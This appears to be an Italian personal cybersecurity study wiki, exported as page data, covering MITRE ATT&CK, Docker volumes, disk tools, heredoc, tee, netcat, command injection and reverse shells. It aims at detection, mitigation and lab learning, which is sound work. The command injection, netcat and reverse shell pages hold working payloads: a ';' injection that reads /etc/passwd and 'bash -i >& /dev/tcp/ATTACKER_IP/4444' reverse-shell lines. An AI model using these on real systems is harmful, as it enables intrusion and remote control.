(DeTT\u0026amp;CT stats) # Count tecniche coperte Data Source Esempi concreti 255 Command Execution auditd execve, Sysmon, EDR 206 Process Creation auditd, Sysmon, EDR 98 File Modification auditd, file integrity (tripwire) 82 Network Traffic Flow NetFlow, firewall, Zeek 58 Network Connection Creation NetFlow, firewall Configurare auditd per Command Execution e Process Creation copre la maggioranza delle tecniche rilevabili con i log.\nPyramid of Pain # ATT\u0026amp;CK opera al livello piu' alto della Pyramid of Pain: i TTP.\nTTP (comportamenti) ← ATT\u0026amp;CK — difficilissimi da cambiare Tools (strumenti usati) Network/Host Artifacts Domain Names IP Addresses Hash Values ← facili da cambiare per l\u0026#39;attaccante Rilevare un comportamento obbliga l'attaccante a riprogettare il suo approccio — molto piu' costoso che cambiare un IP o un hash.\nScenario Reale # Lab reverse shell (Ubuntu → Kali):\nOsservato: processo bash con /dev/tcp/192.168.64.200/4444 attivo, TTY ?, connessione ESTABLISHED in ss -tp Mappatura ATT\u0026amp;CK: Tattica: Command and Control (T1071) + Execution (T1059) Tecnica: T1059.004 — Unix Shell Detection section dice: monitora bash con argomenti /dev/tcp Data source richiesto: Command Execution (auditd execve) Gap identificato: auditd non configurato → lab giovedi' chiude questo gap con regola Wazuh Collegato a # incident-response-lifecycle — ATT\u0026amp;CK usato in ogni fase PICERL per classificare le tecniche glossario-cyber — TTP, IOC, IOA definiti soc-tiers — Tier 2/3 usano ATT\u0026amp;CK per threat hunting e detection engineering wazuh-architecture — SIEM dove converge la detection ","date":"28 aprile 2026","externalUrl":null,"permalink":"/concetti/mitre-attack-framework/","section":"Concetti","summary":"Adversarial Tactics, Techniques, and Common Knowledge. Matrice globale per la tassonomia dei comportamenti avversari, con guida operativa all'uso in un SOC.","title":"MITRE ATT\u0026CK Framework","type":"concetti"},{"content":" Cosa fa # Sottocomando Docker per creare, ispezionare, listare e rimuovere volumi. I volumi sono lo storage persistente gestito da Docker.\nSintassi # docker volume [comando] [opzioni]\nComandi essenziali # Comando Flag Significato flag Cosa fa docker volume ls — — Lista tutti i volumi sul sistema docker volume inspect nome — — Mostra dettagli e Mountpoint fisico del volume docker volume create nome — — Crea un volume vuoto manualmente docker volume rm nome — — Elimina un volume specifico docker volume prune — — Elimina tutti i volumi non usati da container attivi docker ps -a --filter volume=nome -a all, --filter filtra per criterio — Trova i container che usano un volume Combinazioni utili # # Trova il path fisico di un volume sull\u0026#39;host docker volume inspect nome_volume | grep Mountpoint # → \u0026#34;Mountpoint\u0026#34;: \u0026#34;/var/lib/docker/volumes/nome_volume/_data\u0026#34; # Lista volumi di un progetto specifico docker volume ls | grep nome_progetto # Ispeziona contenuto di un volume (richiede sudo) sudo ls /var/lib/docker/volumes/nome_volume/_data/ Migrazione dati tra volumi # Quando si rinomina un progetto o si sposta un compose, il prefisso del volume cambia e i dati vanno migrati.\n# 1. Crea il nuovo volume vuoto docker volume create nuovo_volume # 2. Sposta i dati (richiede sudo — i volumi sono di root) sudo bash -c \u0026#39;mv /var/lib/docker/volumes/vecchio_volume/_data/* /var/lib/docker/volumes/nuovo_volume/_data/\u0026#39; # 3. Verifica la migrazione sudo ls /var/lib/docker/volumes/nuovo_volume/_data/ # 4. Avvia il compose con il nuovo volume docker compose up -d # 5. Verifica che il servizio funzioni correttamente # 6. Elimina il vecchio volume docker volume rm vecchio_volume Warning Usa mv sul contenuto (_data/*), non sulla directory (_data/). Spostare la directory rompe il mapping interno di Docker.\nWarning Prima di eliminare un volume vecchio, verifica sempre che il servizio giri correttamente con il nuovo.\nRestore di un DB da backup # Per verificare un backup senza toccare il DB reale:\n# 1. Crea un DB temporaneo dentro il container docker exec nome_container createdb -U utente db_test # 2. Restore sul DB temporaneo (legge da stdin con -i) gunzip -c backup.sql.gz | docker exec -i nome_container psql -U utente -d db_test # 3. Verifica i dati docker exec -it nome_container psql -U utente -d db_test -c \u0026#34;SELECT COUNT(*) FROM tabella;\u0026#34; # 4. Elimina il DB temporaneo docker exec nome_container dropdb -U utente db_test Scenario Reale # Un servizio viene spostato su un nuovo server. Il compose era in vecchio-progetto/ e ora e in nuovo-progetto/. Docker rinomina automaticamente i volumi con il nuovo prefisso — i dati non ci sono. Si usa la procedura di migrazione per spostare i dati dal vecchio volume al nuovo prima di avviare il compose.\nCollegato a # system — categoria docker-volumes — concetto: tipi di volume, naming, quando usare cosa docker-compose — dove i volumi vengono dichiarati ","date":"27 aprile 2026","externalUrl":null,"permalink":"/comandi/docker-volume/","section":"Comandi","summary":"Comandi per gestire volumi Docker: ispezione, creazione, rimozione, migrazione dati tra volumi.","title":"docker volume","type":"comandi"},{"content":" Cosa fa # Input utente viene inserito direttamente in un comando di sistema senza sanitizzazione. Il server non distingue dati da istruzioni — l'attaccante esegue comandi arbitrari sul sistema operativo.\nCommand Injection e' esecuzione arbitraria di comandi sul sistema.\nTL;DR # Path Traversal → naviga il filesystem (legge file) Command Injection → esegue comandi sul sistema (legge, scrive, scarica, apre shell) La differenza chiave: Path Traversal e' limitato alla lettura. Command Injection ha accesso completo al sistema con i privilegi del processo web.\nCome funziona # Il server costruisce un comando concatenando input utente:\n// Codice vulnerabile PHP $target = $_GET[\u0026#39;host\u0026#39;]; $output = shell_exec(\u0026#34;ping -c 1 \u0026#34; . $target); echo $output; Input legittimo: 8.8.8.8 → esegue ping -c 1 8.8.8.8\nInput malevolo: 8.8.8.8; cat /etc/passwd → esegue:\nping -c 1 8.8.8.8 cat /etc/passwd ← comando iniettato Operatori di concatenazione # Operatore Comportamento Esempio payload ; Esegue entrambi i comandi sempre 8.8.8.8; cat /etc/passwd \u0026amp;\u0026amp; Esegue il secondo solo se il primo ha successo 8.8.8.8 \u0026amp;\u0026amp; cat /etc/passwd || Esegue il secondo solo se il primo fallisce x || cat /etc/passwd | Pipe — passa stdout del primo al secondo 8.8.8.8 | cat /etc/passwd `cmd` Subshell — esegue e sostituisce il risultato `cat /etc/passwd` $(cmd) Subshell alternativa $(cat /etc/passwd) Funzioni PHP vulnerabili # Quando vedi queste funzioni in un source code review — attenzione:\nFunzione Cosa fa passthru() Esegue comando, stampa output direttamente system() Esegue comando, restituisce ultima riga output exec() Esegue comando, restituisce output come array shell_exec() Esegue comando via shell, restituisce output come stringa popen() Apre pipe verso un processo `...` Backtick — equivalente a shell_exec() Dal Command Injection alla Reverse Shell # Command Injection e' spesso il vettore iniziale per ottenere una reverse shell. Una volta confermato che l'input viene eseguito:\n# Step 1: verifica che l\u0026#39;injection funzioni 8.8.8.8; whoami # Step 2: verifica connettivita\u0026#39; verso l\u0026#39;esterno 8.8.8.8; ping -c 1 ATTACKER_IP # Step 3: apri reverse shell 8.8.8.8; bash -i \u0026gt;\u0026amp; /dev/tcp/ATTACKER_IP/4444 0\u0026gt;\u0026amp;1 Dall'attaccante: nc -lvnp 4444 in ascolto.\nVedi reverse-shell per il dettaglio del meccanismo.\nCome appare nei log # Access log Apache/Nginx:\nGET /ping?host=8.8.8.8%3B+cat+/etc/passwd HTTP/1.1 200 # ^ %3B = ; URL-encoded GET /search?needle=test|cat+/etc/passwd HTTP/1.1 200 GET /page?file=8.8.8.8%26%26+id HTTP/1.1 200 Pattern da cercare: %3B, %7C, %26 (;, |, \u0026amp; URL-encoded) nei parametri GET/POST.\nLab eseguiti # PortSwigger Command Injection — settimana 8:\npassthru() PHP con concatenazione diretta Blind injection (nessun output visibile — inferenza via timing o out-of-band) OverTheWire Natas livello 9:\ngrep con input utente non sanitizzato: grep $input dictionary.txt Payload: '' ; cat /etc/natas_webpass/natas10 Mitigazione # Approccio Come Evitare shell functions Usare API native invece di shell_exec — es. socket PHP invece di ping Whitelist input Accettare solo caratteri attesi: [0-9.]+ per un IP Escape dell'input escapeshellarg() in PHP — racchiude l'input in apici singoli Least privilege Il processo web non deve girare come root Scenario Reale # Alert Wazuh su web server: richiesta HTTP con %3B in un parametro. Nei log Apache:\nGET /tools/ping?host=192.168.1.1%3B+id HTTP/1.1 200 Il 200 OK significa che il comando e' stato eseguito. Investigazione:\nControlla i log successivi — ha provato whoami, cat /etc/passwd? Cerca tentativi di download verso IP esterni — possibile staging di payload Verifica se e' arrivata una connessione outbound (reverse shell) — ss -tnp sull'host Collegato a # path-traversal — stessa famiglia A03, ma navigazione filesystem invece di esecuzione owasp-top10 — A03 Injection, categoria padre reverse-shell — obiettivo finale spesso raggiunto tramite command injection bandit-09 — lab OTW dove hai visto passthru() vulnerabile network — categoria ","date":"26 aprile 2026","externalUrl":null,"permalink":"/concetti/command-injection/","section":"Concetti","summary":"Vulnerabilità A03 OWASP: input utente viene passato a una shell di sistema senza sanitizzazione. Permette esecuzione arbitraria di comandi sul server.","title":"Command Injection","type":"concetti"},{"content":"","date":"26 aprile 2026","externalUrl":null,"permalink":"/tags/ctf/","section":"Tags","summary":"","title":"Ctf","type":"tags"},{"content":" Cosa fa # Mostra lo spazio totale, usato e disponibile per ogni filesystem montato. Lavora a livello di filesystem, non di directory — per sapere chi occupa lo spazio usa du.\nSintassi # df [opzioni] [filesystem]\nComandi essenziali # Comando Flag Significato flag Cosa fa df -h -h human-readable Dimensioni in KB/MB/GB invece di blocchi df -h / -h human-readable Solo il filesystem root df -i -i inodes Mostra uso inode invece di blocchi — utile se il disco e' \u0026quot;pieno\u0026quot; ma df -h mostra spazio libero df -T -T type Mostra il tipo di filesystem (ext4, tmpfs, overlay...) Flusso investigazione disco pieno # Quando un servizio crasha con \u0026quot;no space left on device\u0026quot;:\n# Step 1 — qual e\u0026#39; il filesystem pieno? df -h # Step 2 — chi occupa spazio in /var? sudo du -sh /var/* 2\u0026gt;/dev/null | sort -rh | head -10 # Step 3 — scava nella directory piu\u0026#39; pesante sudo du -sh /var/lib/* 2\u0026gt;/dev/null | sort -rh | head -10 Il 2\u0026gt;/dev/null sopprime gli errori \u0026quot;permission denied\u0026quot; sulle directory non accessibili — altrimenti l'output e' illeggibile.\nOutput tipico # Filesystem Size Used Avail Use% Mounted on /dev/mapper/ubuntu--vg-ubuntu--lv 60G 30G 28G 53% / tmpfs 2.0G 0 2.0G 0% /dev/shm /dev/vda2 2.0G 198M 1.6G 11% /boot Colonne:\nSize — dimensione totale del filesystem Used — spazio occupato Avail — spazio disponibile Use% — percentuale di utilizzo — al 100% i servizi iniziano a crashare Mounted on — punto di mount VM e disco virtuale (UTM/VirtualBox) # Su macchine virtuali il disco e' un file immagine sul host. Espandere il disco virtuale richiede due passi:\nAumenta la dimensione del file immagine dall'hypervisor (UTM, VirtualBox) — la VM deve essere spenta Dopo il riavvio, espandi la partizione LVM da dentro la VM: # Verifica che il disco fisico sia piu\u0026#39; grande della partizione lsblk # Espandi il physical volume sudo pvresize /dev/vda3 # Espandi il logical volume al 100% dello spazio disponibile sudo lvextend -l +100%FREE /dev/mapper/ubuntu--vg-ubuntu--lv # Ridimensiona il filesystem sudo resize2fs /dev/mapper/ubuntu--vg-ubuntu--lv Il disco host non perde spazio immediatamente — il file immagine cresce on-demand man mano che la VM scrive dati.\nScenario Reale # OpenSearch (usato da Wazuh) crasha con java.io.IOException: No space left on device. df -h mostra / al 100%. Indagine con du:\nsudo du -sh /var/* # /var/lib occupa 32G sudo du -sh /var/lib/* # Docker 18G + containerd 14G Le immagini Docker di Wazuh occupano ~18G. Soluzione: espandere il disco virtuale da UTM da 30G a 60G.\nCollegato a # du — trova chi occupa spazio dentro una directory lsblk — mostra la struttura fisica dei dischi e partizioni log — categoria system — categoria ","date":"26 aprile 2026","externalUrl":null,"permalink":"/comandi/df/","section":"Comandi","summary":"Mostra lo spazio disponibile e usato sui filesystem montati. Primo comando da eseguire quando il disco sembra pieno o un servizio si blocca per spazio insufficiente.","title":"df - disk free","type":"comandi"},{"content":" Cosa fa # Stima e visualizza lo spazio occupato da file e directory sul filesystem. In ambito security, è essenziale per individuare anomalie come grossi dump di database, log esagerati o archivi nascosti pronti per l'esfiltrazione.\nSintassi # du [opzioni] [percorso]\nComandi essenziali # Comando Flag Cosa fa du -h -h (human-readable) Mostra dimensioni leggibili (KB, MB, GB). du -s -s (summarize) Mostra solo il totale della cartella target. du -b -b (bytes) Mostra la dimensione esatta in byte (cruciale per Bandit). du -a -a (all) Visualizza lo spazio di ogni singolo file, non solo directory. du -d 1 -d (depth) Limita la profondità della ricerca alla cartella specificata. Combinazioni utili # # Trova le 10 directory piu\u0026#39; pesanti partendo dalla cartella attuale du -hs * | sort -rh | head -n 10 # Indagine disco pieno — scendi livello per livello sudo du -sh /var/* 2\u0026gt;/dev/null | sort -rh | head -10 sudo du -sh /var/lib/* 2\u0026gt;/dev/null | sort -rh | head -10 # 2\u0026gt;/dev/null sopprime \u0026#34;permission denied\u0026#34; — output pulito Scenario Reale # Durante un'attività di Threat Hunting, un analista nota un riempimento anomalo del disco. Usando du -ah /var/www | sort -rh, individua un file nascosto .backup.sql.gz di 5GB in una sottocartella del server web, segno di una possibile preparazione per un'esfiltrazione di dati (Data Exfiltration).\nDove l'ho usato # bandit-05 — Per scovare il file di esattamente 1033 byte tra decine di sottocartelle. Note personali # Ricorda: Mentre ls -l mostra la dimensione logica del file, du mostra quanto spazio occupa effettivamente sul disco (blocchi). Per un analista Blue Team, du è più affidabile per scovare file \u0026quot;nascosti\u0026quot; o sparsi nel filesystem.\nCollegato a # system — categoria log — categoria find — spesso usati in combinazione per filtrare e poi misurare. df — comando correlato per vedere lo spazio libero totale del disco. ","date":"26 aprile 2026","externalUrl":null,"permalink":"/comandi/du/","section":"Comandi","summary":"Stima e visualizza lo spazio occupato da file e directory sul filesystem. Usato con sort per trovare chi occupa spazio — primo step dopo df quando il disco è pieno.","title":"du","type":"comandi"},{"content":" Cosa fa # Permette di passare un blocco di testo multiriga come stdin a un comando, senza file temporanei. Il testo viene delimitato da una parola sentinella (di solito EOF).\nTL;DR # comando \u0026lt;\u0026lt;SENTINELLA riga 1 riga 2 riga 3 SENTINELLA Tutto il testo tra le due sentinelle viene passato come stdin al comando — come se lo avessi scritto in un file e poi fatto cat file | comando.\nSintassi # comando \u0026lt;\u0026lt;EOF contenuto multiriga EOF La parola sentinella e' arbitraria — EOF e' convenzione, ma funziona anche FINE, END, CONF. L'unica regola: la riga di chiusura deve contenere solo la sentinella, senza spazi prima.\nVarianti # Heredoc con espansione variabili (default) # nome=\u0026#34;barno\u0026#34; cat \u0026lt;\u0026lt;EOF Ciao $nome Oggi e\u0026#39; $(date) EOF # Output: Ciao barno / Oggi e\u0026#39; dom 26 apr 2026... Le variabili $var e le subshell $() vengono espanse.\nHeredoc senza espansione (sentinella quoted) # cat \u0026lt;\u0026lt;\u0026#39;EOF\u0026#39; Ciao $nome Questo e\u0026#39; un dollaro: $ EOF # Output: Ciao $nome / Questo e\u0026#39; un dollaro: $ Con la sentinella tra apici singoli 'EOF' — nessuna espansione, il testo e' letterale.\nPattern piu' comuni # Scrivere file di configurazione come root # sudo tee /etc/apt/sources.list.d/docker.sources \u0026lt;\u0026lt;EOF Types: deb URIs: https://download.docker.com/linux/ubuntu Suites: $(. /etc/os-release \u0026amp;\u0026amp; echo \u0026#34;${UBUNTU_CODENAME:-$VERSION_CODENAME}\u0026#34;) Components: stable Architectures: $(dpkg --print-architecture) Signed-By: /etc/apt/keyrings/docker.asc EOF Qui la subshell $(. /etc/os-release \u0026amp;\u0026amp; ...) viene espansa prima che il testo venga passato a tee.\nPassare input a uno script interattivo # ssh utente@server \u0026lt;\u0026lt;EOF cd /var/log ls -lh auth.log tail -20 auth.log EOF Creare file da script bash # cat \u0026gt; /tmp/config.yaml \u0026lt;\u0026lt;EOF host: 192.168.64.3 port: 9200 user: admin EOF Parameter expansion — ${VAR:-fallback} # Dentro un heredoc (senza apici) le variabili vengono espanse. La sintassi ${VAR:-fallback} e' utile per gestire variabili che potrebbero non esistere:\n${UBUNTU_CODENAME:-$VERSION_CODENAME} # Se UBUNTU_CODENAME esiste e non e\u0026#39; vuota → usa quella # Altrimenti → usa VERSION_CODENAME come fallback Sintassi Comportamento ${VAR} Valore di VAR, errore se non esiste ${VAR:-default} Valore di VAR, oppure default se vuota/non esiste ${VAR:=default} Come sopra, ma assegna anche il default a VAR ${VAR:?messaggio} Errore con messaggio se VAR e' vuota/non esiste Scenario Reale # Installazione Docker su Ubuntu: il repo richiede di creare /etc/apt/sources.list.d/docker.sources con contenuto specifico che include il nome in codice della distro. Con heredoc + sudo tee si scrive tutto in un comando, con espansione automatica della variabile OS.\nsudo tee /etc/apt/sources.list.d/docker.sources \u0026lt;\u0026lt;EOF Types: deb URIs: https://download.docker.com/linux/ubuntu Suites: $(. /etc/os-release \u0026amp;\u0026amp; echo \u0026#34;${UBUNTU_CODENAME:-$VERSION_CODENAME}\u0026#34;) Components: stable Architectures: $(dpkg --print-architecture) Signed-By: /etc/apt/keyrings/docker.asc EOF Collegato a # tee — il comando piu' usato con heredoc per file protetti standard-streams — heredoc genera stdin shell-environment — variabili e subshell usate dentro heredoc system — categoria ","date":"26 aprile 2026","externalUrl":null,"permalink":"/concetti/heredoc/","section":"Concetti","summary":"Sintassi bash per passare blocchi di testo multiriga come stdin a un comando. Usato con sudo tee per scrivere file di sistema.","title":"Heredoc - blocco di testo come stdin","type":"concetti"},{"content":" Cosa fa # Utility versatile per leggere e scrivere dati attraverso connessioni di rete TCP e UDP. Viene utilizzato per il debugging, il port scanning, il trasferimento di file e la creazione di backdoor (in ambito Red Team) o test di connettività (Blue Team).\nSintassi # nc [opzioni] [host] [porta]\nComandi essenziali # Comando Flag Effetto nc -zv host 1-100 -z (scan), -v (verbose) Port scan veloce: verifica quali porte sono aperte senza inviare dati. nc -l -p 4444 -l (listen), -p (port) Trasforma la macchina in un server che ascolta sulla porta 4444. nc host porta — Si connette a un servizio remoto (es. un server web o un database). nc -u host porta -u (UDP) Utilizza il protocollo UDP invece del TCP (default). nc -l -k -p 8080 -k keep rimane in ascolto dopo che ogni connessione si chiude. Analisi Tecnica (Senior Perspective) # Netcat lavora direttamente con i Raw Sockets. A differenza di un browser (che interpreta l'HTML) o di un client SSH (che gestisce la cifratura), Netcat invia esattamente ciò che digiti e stampa esattamente ciò che riceve.\nIl concetto di \u0026quot;Pipe\u0026quot; di Rete # Netcat eccelle quando combinato con le pipe di Linux. Puoi prendere l'output di un comando e \u0026quot;spararlo\u0026quot; attraverso la rete: echo \u0026quot;Dati Sensibili\u0026quot; | nc 192.168.1.50 30000\ntrova le porte \u0026quot;aperte\u0026quot; # nc -zv ctf.labs.overthewire.org 1-10000 2\u0026gt;\u0026amp;1 | grep -E \u0026#39;open|succeeded\u0026#39; Visual Flow: Client vs Server # CLIENT (Tu) SERVER [ Connessione Outbound ] [ In ascolto / Listening ] | | |----------- SYN (Richiesta) ---------\u0026gt;| |\u0026lt;---------- SYN/ACK (Ok!) ------------| | | |--- \u0026#34;Ciao, ecco la mia password\u0026#34; ----\u0026gt;| Scenario Reale # Banner Grabbing: Un analista SOC usa nc -v target 80 e poi preme Invio per vedere quale versione di Apache o Nginx sta rispondendo. Se la versione è obsoleta, è una vulnerabilità. Verifica Firewall: Se non riesci a raggiungere un database, usi nc -zv db-server 5432. Se risponde \u0026quot;Connection refused\u0026quot;, il firewall blocca il traffico o il servizio è spento. Listener per reverse shell # # Attaccante — metti netcat in ascolto nc -lvnp 4444 # -l listen # -v verbose # -n no DNS resolution # -p porta # La vittima si connette con: # bash -i \u0026gt;\u0026amp; /dev/tcp/KALI_IP/4444 0\u0026gt;\u0026amp;1 Vedi reverse-shell per la spiegazione completa del meccanismo.\nDove l'ho usato # bandit-14 — Per inviare la password al servizio locale sulla porta 30000. Settimana 9 — listener per reverse shell lab (Kali → Ubuntu) Collegato a # network — Categoria principale standard-streams — Per l'integrazione con pipe e redirect nmap — Per scansioni più avanzate e rumorose 🧠 Tip del Senior per Barno # Attenzione: Netcat invia tutto in chiaro (cleartext). Se lo usi per inviare password su una rete che non controlli (es. una rete Wi-Fi pubblica), chiunque stia facendo sniffing con Wireshark può leggere la tua password.\n","date":"26 aprile 2026","externalUrl":null,"permalink":"/comandi/netcat/","section":"Comandi","summary":"Utility versatile per leggere e scrivere dati attraverso connessioni di rete TCP e UDP. Usato per banner grabbing, port scan, trasferimento file, e come listener per reverse shell.","title":"netcat","type":"comandi"},{"content":"","date":"26 aprile 2026","externalUrl":null,"permalink":"/tags/persistence/","section":"Tags","summary":"","title":"Persistence","type":"tags"},{"content":" Cosa fa # Tecnica di accesso remoto in cui e' la vittima a iniziare la connessione verso l'attaccante. L'attaccante riceve una shell interattiva sulla propria macchina senza dover raggiungere la vittima dall'esterno.\nTL;DR # Bind shell (classica): attaccante → si connette → vittima Reverse shell: vittima → si connette → attaccante La vittima e' il client, l'attaccante e' il server. Questo bypassa i firewall che bloccano connessioni in ingresso ma permettono quelle in uscita.\nCome funziona — file descriptor # bash -i \u0026gt;\u0026amp; /dev/tcp/192.168.64.200/4444 0\u0026gt;\u0026amp;1 Parte Significato bash -i Avvia una shell bash interattiva /dev/tcp/IP/PORT Pseudo-device Linux: apre una connessione TCP verso IP:PORT \u0026gt;\u0026amp; Redirige fd1 (stdout) e fd2 (stderr) sulla connessione TCP 0\u0026gt;\u0026amp;1 Redirige fd0 (stdin) su fd1 (gia' la connessione TCP) Risultato: tutti e tre i file descriptor (stdin/stdout/stderr) viaggiano sul canale TCP.\nKali digita → va in stdin di bash su Ubuntu Bash risponde → torna a Kali via stdout/stderr fd0 (stdin) ←─┐ fd1 (stdout) ──┼──→ /dev/tcp/192.168.64.200/4444 ──→ Kali nc -lvnp 4444 fd2 (stderr) ──┘ Come la esegue un attaccante reale # L'attaccante non ha accesso diretto alla macchina — deve prima ottenere RCE (Remote Code Execution). Vettori comuni:\nVettore Come Esempio Command Injection Web app passa input a una shell senza sanitizzazione ; bash -i \u0026gt;\u0026amp; /dev/tcp/... come parametro PHP webshell Upload di file non protetto, esegue PHP arbitrario \u0026lt;?php system($_GET['cmd']); ?\u0026gt; CVE exploit Vulnerabilita' nota su servizio esposto RCE su Apache, OpenSSH, ecc. Phishing Documento malevolo con macro Script PowerShell che apre reverse shell Una volta ottenuta l'esecuzione di un singolo comando, il payload e' sempre lo stesso:\n# Linux bash -i \u0026gt;\u0026amp; /dev/tcp/ATTACKER_IP/4444 0\u0026gt;\u0026amp;1 # Variante con /bin/sh (piu\u0026#39; portabile) /bin/sh -i \u0026gt;\u0026amp; /dev/tcp/ATTACKER_IP/4444 0\u0026gt;\u0026amp;1 Sul lato attaccante, netcat in ascolto:\nnc -lvnp 4444 # -l listen — modalita\u0026#39; server # -v verbose — mostra connessioni # -n numeric — nessuna risoluzione DNS # -p port — porta su cui ascoltare Perche' bypassa i firewall # I firewall aziendali bloccano tipicamente le connessioni in ingresso verso le workstation — ma permettono quelle in uscita (browsing, email, aggiornamenti).\nFirewall regola: BLOCK inbound TCP → workstation Reverse shell: workstation → outbound TCP → attaccante ✓ PASSA Questo e' il motivo per cui e' piu' usata rispetto alla bind shell, dove l'attaccante si connette alla vittima (bloccato dal firewall).\nCosa vede Wazuh out-of-the-box # La reverse shell bash -i \u0026gt;\u0026amp; /dev/tcp/... e' silenziosa — non genera log in /var/log/auth.log da sola.\nWazuh rileva solo le azioni eseguite dentro la shell che finiscono nei log:\nAzione Log generato Alert Wazuh sudo su auth.log — pam session Si cat /etc/shadow — (nessuno di default) No ssh wrong@host auth.log — failed login Si bash -i \u0026gt;\u0026amp; /dev/tcp/... — No Come rilevarla davvero # Strumento Cosa rileva Quando auditd Syscall — bash che apre socket TCP Settimana 14 Suricata Connessione TCP anomala sulla rete Settimana 21 Wazuh regole custom Processo bash con argomenti sospetti Settimana 10 Falco Runtime behavior — shell da processo non interattivo Mese 6+ Lab eseguito # Data: 2026-04-26 | Ambiente: Kali (192.168.64.200) → Ubuntu (192.168.64.3)\n# Kali — attaccante nc -lvnp 4444 # Ubuntu — vittima (eseguito dopo aver ottenuto accesso via terminale) bash -i \u0026gt;\u0026amp; /dev/tcp/192.168.64.200/4444 0\u0026gt;\u0026amp;1 Alert Wazuh catturato: sessione sudo su eseguita dalla reverse shell → auth.log → agent → manager → dashboard.\nScenario Reale # Un analista SOC vede in Wazuh un alert: sudo eseguito da un processo con parent PID insolito. Invece di un terminale interattivo, il parent e' bash avviato da un processo web. Sequenza investigativa:\n# Chi ha aperto la connessione TCP verso l\u0026#39;esterno? ss -tnp | grep bash # Quale processo padre ha avviato bash? ps aux | grep bash lsof -p \u0026lt;PID\u0026gt; | grep TCP # Quando e\u0026#39; iniziato? # → timestamp dell\u0026#39;alert Wazuh + auth.log Collegato a # netcat — tool usato dall'attaccante per ricevere la shell network — vettore piu' comune per eseguire il payload file-descriptor — spiega i redirect stdin/stdout/stderr wazuh-architecture — SIEM usato per il rilevamento ss — rileva connessioni TCP aperte da bash lsof — identifica il processo che tiene aperta la connessione ","date":"26 aprile 2026","externalUrl":null,"permalink":"/concetti/reverse-shell/","section":"Concetti","summary":"Tecnica di accesso remoto dove la vittima si connette verso l'attaccante. Bypassa i firewall in ingresso. Rilevabile con auditd, Suricata o regole Wazuh custom.","title":"Reverse Shell","type":"concetti"},{"content":" Cosa fa # Legge da stdin e scrive contemporaneamente su stdout e su uno o piu' file. Il nome viene dal raccordo a T dell'idraulica: il flusso si divide in due direzioni.\nSintassi # comando | tee [opzioni] file\nComandi essenziali # Comando Flag Significato flag Cosa fa tee file.txt — — Scrive su stdout e sovrascrive file.txt tee -a file.txt -a append Scrive su stdout e aggiunge in coda al file tee file1 file2 — — Scrive su stdout e su piu' file contemporaneamente Pattern sudo tee — scrivere file di sistema # echo e cat non possono scrivere in file protetti da root anche con sudo echo \u0026gt; — il redirect \u0026gt; viene eseguito dalla shell dell'utente, non da root.\nsudo tee risolve il problema: il privilegio va al processo che apre il file.\n# SBAGLIATO — il redirect \u0026gt; viene eseguito come utente, non come root sudo echo \u0026#34;contenuto\u0026#34; \u0026gt; /etc/file-protetto # CORRETTO — tee gira come root e apre il file echo \u0026#34;contenuto\u0026#34; | sudo tee /etc/file-protetto # Con append echo \u0026#34;contenuto\u0026#34; | sudo tee -a /etc/file-protetto # Silenziare stdout (solo scrittura su file) echo \u0026#34;contenuto\u0026#34; | sudo tee /etc/file-protetto \u0026gt; /dev/null Pattern heredoc + sudo tee — scrivere blocchi multiriga # Per scrivere file di configurazione multiriga senza editor:\nsudo tee /etc/apt/sources.list.d/docker.sources \u0026lt;\u0026lt;EOF Types: deb URIs: https://download.docker.com/linux/ubuntu Suites: $(. /etc/os-release \u0026amp;\u0026amp; echo \u0026#34;${UBUNTU_CODENAME:-$VERSION_CODENAME}\u0026#34;) Components: stable Architectures: $(dpkg --print-architecture) Signed-By: /etc/apt/keyrings/docker.asc EOF Il \u0026lt;\u0026lt;EOF e' un heredoc: tutto il testo fino alla riga EOF finale viene passato come stdin a sudo tee. Vedi heredoc per la sintassi completa.\nLa subshell $(. /etc/os-release \u0026amp;\u0026amp; echo \u0026quot;${UBUNTU_CODENAME:-$VERSION_CODENAME}\u0026quot;):\n. /etc/os-release — source del file, carica le variabili OS nell'ambiente ${VAR:-fallback} — usa UBUNTU_CODENAME se esiste, altrimenti VERSION_CODENAME Scenario Reale # Configurazione repo Docker su Ubuntu: il file /etc/apt/sources.list.d/docker.sources e' protetto da root. Con heredoc + sudo tee si scrive il contenuto multiriga in un solo comando senza aprire un editor come root.\nsudo tee /etc/apt/sources.list.d/docker.sources \u0026lt;\u0026lt;EOF Types: deb URIs: https://download.docker.com/linux/ubuntu Suites: jammy Components: stable Architectures: amd64 Signed-By: /etc/apt/keyrings/docker.asc EOF Analista SOC che analizza traffico live e vuole salvarlo:\ntcpdump | tee network_capture.log Collegato a # standard-streams — stdin/stdout che tee manipola heredoc — sintassi \u0026lt;\u0026lt;EOF usata con tee file-descriptor — come funziona il redirect system — categoria ","date":"26 aprile 2026","externalUrl":null,"permalink":"/comandi/tee/","section":"Comandi","summary":"Legge da stdin e scrive contemporaneamente su stdout e su file. Usato con sudo per scrivere file di sistema senza aprire editor come root.","title":"tee - duplica stdout su file","type":"comandi"},{"content":" Cosa fa # Ogni processo Unix apre automaticamente tre canali di comunicazione identificati dai numeri 0, 1 e 2. La shell permette di redirigere questi canali con \u0026gt; e 2\u0026gt;\u0026amp;1. Capirli e' indispensabile per usare pipe e grep su output di tool che scrivono su stderr.\nTL;DR # Tre file descriptor aperti di default in ogni processo:\n0 = stdin — input (tastiera o pipe in entrata) 1 = stdout — output normale (terminale o pipe) 2 = stderr — errori e messaggi diagnostici (terminale, scavalca la pipe) | passa solo stdout. stderr va diretto al terminale — grep non lo vede.\ncomando 2\u0026gt;\u0026amp;1 | grep \u0026#34;pattern\u0026#34; # unisce stderr e stdout prima del grep I tre file descriptor # FD Nome Destinazione default 0 stdin tastiera 1 stdout terminale 2 stderr terminale Sono file descriptor come gli altri — numeri interi assegnati dal kernel. La shell li gestisce prima di eseguire il comando.\nRedirezione # \u0026gt; redirige stdout su file:\ncomando \u0026gt; output.txt # stdout su file, stderr al terminale comando \u0026gt;\u0026gt; output.txt # append invece di sovrascrivere 2\u0026gt; redirige stderr — il numero a sinistra di \u0026gt; e' sempre un fd:\ncomando 2\u0026gt; errori.txt # stderr su file, stdout al terminale comando 2\u0026gt;/dev/null # scarta tutti gli errori 2\u0026gt;\u0026amp;1 redirige stderr su stdout — li unisce nello stesso flusso:\ncomando 2\u0026gt;\u0026amp;1 | grep \u0026#34;pattern\u0026#34; # stderr e stdout insieme nel grep Regola del parser shell # A sinistra di \u0026gt; un numero e' sempre interpretato come file descriptor — non serve \u0026amp;.\nA destra di \u0026gt; il default e' \u0026quot;nome file\u0026quot;. Per indicare un fd serve \u0026amp;:\n2\u0026gt;1 # scrive su un file chiamato \u0026#34;1\u0026#34; 2\u0026gt;\u0026amp;1 # redirige fd 2 su fd 